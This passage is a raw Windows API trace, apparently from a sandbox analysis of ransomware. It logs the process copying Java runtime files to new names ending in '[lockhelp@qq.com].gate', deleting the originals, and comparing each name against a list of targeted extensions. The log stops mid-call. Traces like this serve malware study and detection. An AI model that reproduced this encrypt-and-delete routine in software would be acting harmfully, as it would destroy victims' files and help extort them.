Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0293.484] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 1 [0293.485] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0293.485] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0293.485] lstrlenW (lpString=".doc") returned 4 [0293.485] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0293.485] lstrlenW (lpString=".docx") returned 5 [0293.485] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0293.485] lstrlenW (lpString=".pdf") returned 4 [0293.485] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0293.485] lstrlenW (lpString=".xls") returned 4 [0293.485] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0293.485] lstrlenW (lpString=".xlsx") returned 5 [0293.485] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0293.485] lstrlenW (lpString=".ppt") returned 4 [0293.485] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0293.485] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0293.485] lstrlenW (lpString=".zip") returned 4 [0293.485] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0293.485] lstrlenW (lpString=".rar") returned 4 [0293.485] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0293.485] lstrlenW (lpString=".bz2") returned 4 [0293.485] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0293.485] lstrlenW (lpString=".7z") returned 3 [0293.485] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0293.485] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0293.485] lstrlenW (lpString=".dbf") returned 4 [0293.485] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0293.485] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0293.486] lstrlenW (lpString=".1cd") returned 4 [0293.486] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0293.486] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0293.486] lstrlenW (lpString=".jpg") returned 4 [0293.486] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0293.486] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0293.486] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0293.486] lstrlenW (lpString=".doc") returned 4 [0293.486] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0293.486] lstrlenW (lpString=".docx") returned 5 [0293.486] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0293.486] lstrlenW (lpString=".pdf") returned 4 [0293.486] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0293.486] lstrlenW (lpString=".xls") returned 4 [0293.486] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0293.486] lstrlenW (lpString=".xlsx") returned 5 [0293.486] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0293.486] lstrlenW (lpString=".ppt") returned 4 [0293.486] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0293.486] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0293.486] lstrlenW (lpString=".zip") returned 4 [0293.486] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0293.486] lstrlenW (lpString=".rar") returned 4 [0293.486] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0293.486] lstrlenW (lpString=".bz2") returned 4 [0293.486] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0293.486] lstrlenW (lpString=".7z") returned 3 [0293.486] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0293.486] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0293.486] lstrlenW (lpString=".dbf") returned 4 [0293.486] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0293.486] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0293.486] lstrlenW (lpString=".1cd") returned 4 [0293.487] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0293.487] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0293.487] lstrlenW (lpString=".jpg") returned 4 [0293.487] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0293.487] lstrcmpiW (lpString1=".jar", lpString2=".gate") returned 1 [0293.487] lstrlenW (lpString="jaccess.jar") returned 11 [0293.487] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0293.500] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=44516) returned 1 [0293.500] CloseHandle (hObject=0x534) returned 1 [0293.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 0x20 [0293.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.677] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0293.677] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.677] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.677] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0293.677] GetLastError () returned 0x0 [0293.677] ReadFile (in: hFile=0x4e8, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0xade4, lpOverlapped=0x0) returned 1 [0294.140] WriteFile (in: hFile=0x4b8, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xadf0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xadf0, lpOverlapped=0x0) returned 1 [0294.142] ReadFile (in: hFile=0x4e8, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.142] WriteFile (in: hFile=0x4b8, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xea, lpOverlapped=0x0) returned 1 [0294.143] SetEndOfFile (hFile=0x4b8) returned 1 [0294.143] CloseHandle (hObject=0x4b8) returned 1 [0294.143] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.143] SetEndOfFile (hFile=0x4e8) returned 1 [0294.161] CloseHandle (hObject=0x4e8) returned 1 [0294.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0294.161] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 1 [0294.162] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0294.162] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0294.162] lstrlenW (lpString=".doc") returned 4 [0294.162] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0294.162] lstrlenW (lpString=".docx") returned 5 [0294.162] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0294.162] lstrlenW (lpString=".pdf") returned 4 [0294.162] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0294.162] lstrlenW (lpString=".xls") returned 4 [0294.162] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0294.162] lstrlenW (lpString=".xlsx") returned 5 [0294.162] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0294.162] lstrlenW (lpString=".ppt") returned 4 [0294.162] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0294.162] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0294.162] lstrlenW (lpString=".zip") returned 4 [0294.162] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0294.162] lstrlenW (lpString=".rar") returned 4 [0294.163] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0294.163] lstrlenW (lpString=".bz2") returned 4 [0294.163] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0294.163] lstrlenW (lpString=".7z") returned 3 [0294.163] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0294.163] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0294.163] lstrlenW (lpString=".dbf") returned 4 [0294.163] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0294.163] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0294.163] lstrlenW (lpString=".1cd") returned 4 [0294.163] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0294.163] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0294.163] lstrlenW (lpString=".jpg") returned 4 [0294.163] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0294.163] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0294.163] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0294.163] lstrlenW (lpString=".doc") returned 4 [0294.163] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0294.163] lstrlenW (lpString=".docx") returned 5 [0294.163] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0294.163] lstrlenW (lpString=".pdf") returned 4 [0294.163] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0294.163] lstrlenW (lpString=".xls") returned 4 [0294.163] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0294.163] lstrlenW (lpString=".xlsx") returned 5 [0294.163] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0294.163] lstrlenW (lpString=".ppt") returned 4 [0294.163] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0294.163] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0294.163] lstrlenW (lpString=".zip") returned 4 [0294.163] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0294.163] lstrlenW (lpString=".rar") returned 4 [0294.163] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0294.164] lstrlenW (lpString=".bz2") returned 4 [0294.164] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0294.164] lstrlenW (lpString=".7z") returned 3 [0294.164] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0294.164] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0294.164] lstrlenW (lpString=".dbf") returned 4 [0294.164] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0294.164] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0294.164] lstrlenW (lpString=".1cd") returned 4 [0294.164] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0294.164] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0294.164] lstrlenW (lpString=".jpg") returned 4 [0294.164] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0294.164] lstrcmpiW (lpString1=".properties", lpString2=".gate") returned 1 [0294.164] lstrlenW (lpString="flavormap.properties") returned 20 [0294.164] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0294.164] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=3928) returned 1 [0294.164] CloseHandle (hObject=0x4e8) returned 1 [0294.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 0x20 [0294.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.165] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0294.165] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.165] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.166] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0294.166] GetLastError () returned 0x0 [0294.166] ReadFile (in: hFile=0x4e8, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0xf58, lpOverlapped=0x0) returned 1 [0294.214] WriteFile (in: hFile=0x4b8, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xf60, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xf60, lpOverlapped=0x0) returned 1 [0294.215] ReadFile (in: hFile=0x4e8, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.215] WriteFile (in: hFile=0x4b8, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xfc, lpOverlapped=0x0) returned 1 [0294.215] SetEndOfFile (hFile=0x4b8) returned 1 [0294.215] CloseHandle (hObject=0x4b8) returned 1 [0294.215] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.215] SetEndOfFile (hFile=0x4e8) returned 1 [0294.219] CloseHandle (hObject=0x4e8) returned 1 [0294.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0294.221] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 1 [0294.224] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0294.224] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0294.224] lstrlenW (lpString=".doc") returned 4 [0294.224] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0294.224] lstrlenW (lpString=".docx") returned 5 [0294.224] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0294.224] lstrlenW (lpString=".pdf") returned 4 [0294.224] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0294.224] lstrlenW (lpString=".xls") returned 4 [0294.224] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0294.224] lstrlenW (lpString=".xlsx") returned 5 [0294.224] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0294.224] lstrlenW (lpString=".ppt") returned 4 [0294.224] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0294.224] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0294.224] lstrlenW (lpString=".zip") returned 4 [0294.224] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0294.224] lstrlenW (lpString=".rar") returned 4 [0294.225] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0294.225] lstrlenW (lpString=".bz2") returned 4 [0294.225] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0294.225] lstrlenW (lpString=".7z") returned 3 [0294.225] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0294.225] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0294.225] lstrlenW (lpString=".dbf") returned 4 [0294.225] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0294.225] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0294.225] lstrlenW (lpString=".1cd") returned 4 [0294.225] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0294.225] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0294.225] lstrlenW (lpString=".jpg") returned 4 [0294.225] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0294.225] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0294.225] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0294.225] lstrlenW (lpString=".doc") returned 4 [0294.225] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0294.225] lstrlenW (lpString=".docx") returned 5 [0294.225] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0294.225] lstrlenW (lpString=".pdf") returned 4 [0294.225] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0294.225] lstrlenW (lpString=".xls") returned 4 [0294.225] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0294.225] lstrlenW (lpString=".xlsx") returned 5 [0294.225] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0294.226] lstrlenW (lpString=".ppt") returned 4 [0294.226] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0294.226] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0294.226] lstrlenW (lpString=".zip") returned 4 [0294.226] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0294.226] lstrlenW (lpString=".rar") returned 4 [0294.226] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0294.226] lstrlenW (lpString=".bz2") returned 4 [0294.226] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0294.226] lstrlenW (lpString=".7z") returned 3 [0294.226] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0294.226] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0294.226] lstrlenW (lpString=".dbf") returned 4 [0294.226] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0294.226] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0294.226] lstrlenW (lpString=".1cd") returned 4 [0294.226] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0294.226] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0294.226] lstrlenW (lpString=".jpg") returned 4 [0294.226] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0294.226] lstrcmpiW (lpString1=".src", lpString2=".gate") returned 1 [0294.226] lstrlenW (lpString="fontconfig.properties.src") returned 25 [0294.227] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0294.325] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=10568) returned 1 [0294.325] CloseHandle (hObject=0x500) returned 1 [0294.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 0x20 [0294.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.326] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0294.326] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.326] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.326] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0294.326] GetLastError () returned 0x0 [0294.326] ReadFile (in: hFile=0x500, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x2948, lpOverlapped=0x0) returned 1 [0294.448] WriteFile (in: hFile=0x4b8, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x2950, lpOverlapped=0x0) returned 1 [0294.449] ReadFile (in: hFile=0x500, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.449] WriteFile (in: hFile=0x4b8, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x106, lpOverlapped=0x0) returned 1 [0294.449] SetEndOfFile (hFile=0x4b8) returned 1 [0294.449] CloseHandle (hObject=0x4b8) returned 1 [0294.449] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.449] SetEndOfFile (hFile=0x500) returned 1 [0294.456] CloseHandle (hObject=0x500) returned 1 [0294.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0294.456] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 1 [0294.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0294.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0294.457] lstrlenW (lpString=".doc") returned 4 [0294.457] lstrcmpiW (lpString1=".doc", lpString2=".src") returned -1 [0294.457] lstrlenW (lpString=".docx") returned 5 [0294.457] lstrcmpiW (lpString1=".docx", lpString2="s.src") returned -1 [0294.457] lstrlenW (lpString=".pdf") returned 4 [0294.457] lstrcmpiW (lpString1=".pdf", lpString2=".src") returned -1 [0294.457] lstrlenW (lpString=".xls") returned 4 [0294.457] lstrcmpiW (lpString1=".xls", lpString2=".src") returned 1 [0294.457] lstrlenW (lpString=".xlsx") returned 5 [0294.457] lstrcmpiW (lpString1=".xlsx", lpString2="s.src") returned -1 [0294.457] lstrlenW (lpString=".ppt") returned 4 [0294.457] lstrcmpiW (lpString1=".ppt", lpString2=".src") returned -1 [0294.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0294.457] lstrlenW (lpString=".zip") returned 4 [0294.457] lstrcmpiW (lpString1=".zip", 